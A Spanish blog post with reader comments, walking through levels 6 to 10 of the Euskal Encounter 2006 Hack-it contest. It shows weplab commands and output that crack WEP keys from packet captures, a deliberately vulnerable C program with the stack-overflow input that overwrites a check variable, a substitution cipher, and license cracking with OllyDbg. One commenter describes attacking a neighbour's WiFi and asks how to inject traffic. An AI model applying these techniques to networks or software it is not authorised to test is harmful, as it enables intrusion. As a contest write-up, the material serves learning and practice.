Solucion de los niveles del 6 al 10 del Hack-it de la Euskal Encounter 2006

Siguiendo con las soluciones a los niveles del Hack-it de este año en la Euskal, aquí van las 5 siguientes. Como ya dije, hay muchas soluciones posibles diferentes, así que, si queréis, podemos comentar soluciones alternativas en los comentarios 😉

 

Nivel 6

En este nivel tenemos que crackear una captura WiFi, aparentemente protegida con WEP. Después de intentarlo con aircrack, vemos que la captura tiene mutilados todos los paquetes, lo que indica que ha sido realizada con la opción –caplen del programa weplab. Usamos weplab para analizar la captura…

weplab -a captura-WiFi-level6-3ST3GC0L3R0.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]

 Statistics for packets that belong to [F7:33:8F:B3:CC:72]
  - Total valid packets read: 0
  - Total packets read: 1
  - Total unique IV read: 0
  - Total truncated packets read: 1
  - Total non-data packets read: 1
  - Total FF checksum packets read: 0
 Statistics for packets that belong to [00:14:BF:48:90:DE]
  - Total valid packets read: 1990
  - Total packets read: 1990
  - Total unique IV read: 1990
  - Total truncated packets read: 1293
  - Total non-data packets read: 0
  - Total FF checksum packets read: 0
PRISMHEADER SHOULD --NOT-- BE USED as there are 697 packets smaller than this header

Y vemos que el número de paquetes es demasiado pequeño como para un ataque estadístico, por lo que solamente nos quedan las opciones de fuerza bruta o diccionario. Es mucho más inteligente empezar con la opción de diccionario, porque terminará mucho antes:

$ cat /usr/share/dict/spanish | weplab -y captura-WiFi-level6-3ST3GC0L3R0.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]

Not BSSID specified.
Detected one packet with BSSID: [00:14:BF:48:90:DE]

Total valid packets read: 697
Total packets read: 1991

Statistical cracking started! Please hit enter to get statistics from John.
Weplab statistics will be printed each 5 seconds

It seems that the first control data packet verifies the key! Let's test it with others....
Right KEY found!!
Passphrase was --> salsa
Key: 73:61:6c:73:61
This was the end of the dictionnary attack.

Nivel 7

Este nivel es muy similar al nivel 4, pero ahora el buffer overflow exige generar un entero concreto (0xDEADBEEF):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
  int check = 0;
  char login[20];

  if(argc != 2)
  {
    printf("Error: Introduzca su nombre de usuario como parametro\nuso: %s usuario\n\n", argv[0]);
    exit(-1);
  }

  strncpy(login, argv[1], 25);
  printf("Comprobando número de serie... %08x\n", check);

  if (check==0xdeadbeef)
  {
     printf("Hola %s, bienvenido al sistema...\n", login);
     printf("La contraseña del siguiente nivel es LALALALA\n");
  } else
  {
     printf("Lo siento %s, su numero de serie ha caducado\n", login);
     exit(-1);
  }
}

Dado que se trata de un binario de 32 bits little-endian, deberemos generar el serial de la siguiente manera (de atrás, hacia adelante):

$ USUARIO=$(printf "aaaaaaaaaaaaaaaaaaaa\xEF\xBE\xAD\xDE")
$ ./level7 $USUARIO
Comprobando número de serie... deadbeef
Hola aaaaaaaaaaaaaaaaaaaaÞ, bienvenido al sistema...
La contraseña del siguiente nivel es v4k4muert4!

Nivel 8

Segundo nivel de criptografía, donde solamente nos dan el texto cifrado:

Tlzt tl ts ltektzg gexszg jxt rq hqlg qs louxotfzt focts: tjxolhtht

Dada la disposición de las letras, podemos pensar en una simple sustitución, letra por letra. Para intentar encontrar el alfabeto utilizado, una buena aproximación es asignar la letra más usada a la letra E, la más repetida en castellano e inglés. Posteriormente, como si se tratara de “La ruleta de la fortuna”, ir sacando el resto de letras:

Tlzt tl ts ltektzg gexszg jxt rq hqlg qs louxotfzt focts: tjxolhtht
Este es el secreto oculto que da paso al siguiente nivel: equispepe

Nivel 9

Primer nivel de cracking en Win32, en el que hay que rellenar un fichero llave (levelC1.lic) correctamente para que el programa nos diga la contraseña del siguiente nivel.

Trazando el ejecutable con OllyDbg, vemos que el programa lee el fichero levelC1.lic para obtener usuario y contraseña. La contraseña tiene que tener 8 caracteres y en un momento dado, se compara el campo pass con la palabra “COGIAOTI”:

level9exe.jpg

Probando con esta palabra en el fichero llave…

level9-notepad.jpg

El binario nos la da por buena, por lo que será la contraseña del siguiente nivel.

level9-right.jpg

Nivel 10

Otro nivel de cracking WiFi, parecido al anterior. Ante una captura WiFi, el proceso de siempre: analizarla, mirar qué ataque es el adecuado y atacar.

$ weplab -a captura-WiFi-level10-COGIAOTI.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]

 Statistics for packets that belong to [00:14:BF:48:90:DE]
  - Total valid packets read: 505296
  - Total packets read: 505296
  - Total unique IV read: 505296
  - Total truncated packets read: 327938
  - Total non-data packets read: 0
  - Total FF checksum packets read: 0
PRISMHEADER SHOULD --NOT-- BE USED as there are 181548 packets smaller than this header

Al ver el número de paquetes, por encima de 200.000, el ataque más apropiado en principio es el ataque estadístico, usando los ataques de Korek:

$ weplab -r captura-WiFi-level10-COGIAOTI.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]

Not BSSID specified.
 Detected one packet with BSSID: [00:14:BF:48:90:DE]

Total valid packets read: 177358
Total packets read: 505296

 505296 Weak packets gathered:
Statistical cracking started! Please hit enter to get statistics.

Key NOT found
Perhaps you should increase the default probability (--perc) to a higher value (default 70%), or capture more packets.

El ataque no ha tenido éxito. Esto puede deberse a dos causas: que la muestra no sea estadísticamente representativa y haya que aumentar el –perc, o que el tamaño de la clave no sea el adecuado (weplab por defecto trabaja con claves de 64 bits). Probamos lo más rápido, cambiar el tamaño de la clave:

$ weplab -r -k 128 captura-WiFi-level10-COGIAOTI.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]

Not BSSID specified.
Detected one packet with BSSID: [00:14:BF:48:90:DE]

Total valid packets read: 177358
Total packets read: 505296

505296 Weak packets gathered:
Statistical cracking started! Please hit enter to get statistics.
It seems that the first control data packet verifies the key! Let's test it with others....

Key: ca:ca:de:ca:fe:00:00:00:00:00:00:00:00
Right KEY found!!
Key cracked in 13 seconds

Listo, la clave es “cacadecafe”.

9 pensamientos en “Solucion de los niveles del 6 al 10 del Hack-it de la Euskal Encounter 2006

  1. vai

    Hola!!

    Estoy en el nivel 6 y he conseguido la clave salsa (en hex 73:61:6c:73:61 ) El caso es que no funciona y como me salia una palabra que existe no podía ser coincidencia. Viendo la solución aquí esta bien. Por que no me fuciona?

    Responder
  2. MeaBurro

    Prueba de darle al boton si aprietas enter al introducir la respuesta no la da por buena simplemente se recarga la pagina (me paso en la euskal) :p

    Responder
  3. Mikel

    En el nivel 7 no hay ningún overflow ya que la función "strncpy(login, argv[1], 25);" no sobreescribe la variable "check",solo copia 25 caracteres y no llega a sobreescribirla.

    Para que fuese vulnerable a stack overflow debería de ser asi "strcpy(login,argv[1])".

    Si me equivoco por favor explicadmelo.

    Gracias.

    Responder
  4. txipi

    Hola Mikel,

    sí que hay overflow dado que login tiene un tamaño de 20 bytes, no de 25, por lo que los 5 últimos bytes que permite escribir strncpy(x,y,25) ponen en riesgo lo siguiente en memoria, que corresponde justamente con el entero check, de 32 bits, es decir, 4 bytes.

    Si tienes más dudas, me dices 😉

    Responder
  5. Mikel

    La cosa es que yo lo había compilado bajo Windows, con lo que 25 bytes no son suficientes,bajo linux si que hay overflow lo acabo de probar,fallo mio….

    Responder
  6. servired

    Buenas, soy nuevo en esto, tengo un vecino con wifi cerca de mi y estoy haciendo algunas pruebas, estoy utilizando el programa commwiew for wifi ,he capurado mas de 4.000.000 de packets lo paso con el aircrack y no keys , lo que necesito saber es como mandar el ataque 0?, necesito estar conectado tambien yo a internet para poder mandarlo , sino es asi os rogaria me lo explicaseis como hacer de forma correcta, tengo
    una tarjeta netegear con con chipset athereos para win.

    post. mi wifi la consegui abrir , inyecatdo trafico.

    gracias por vuestra ayuda

    Responder

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *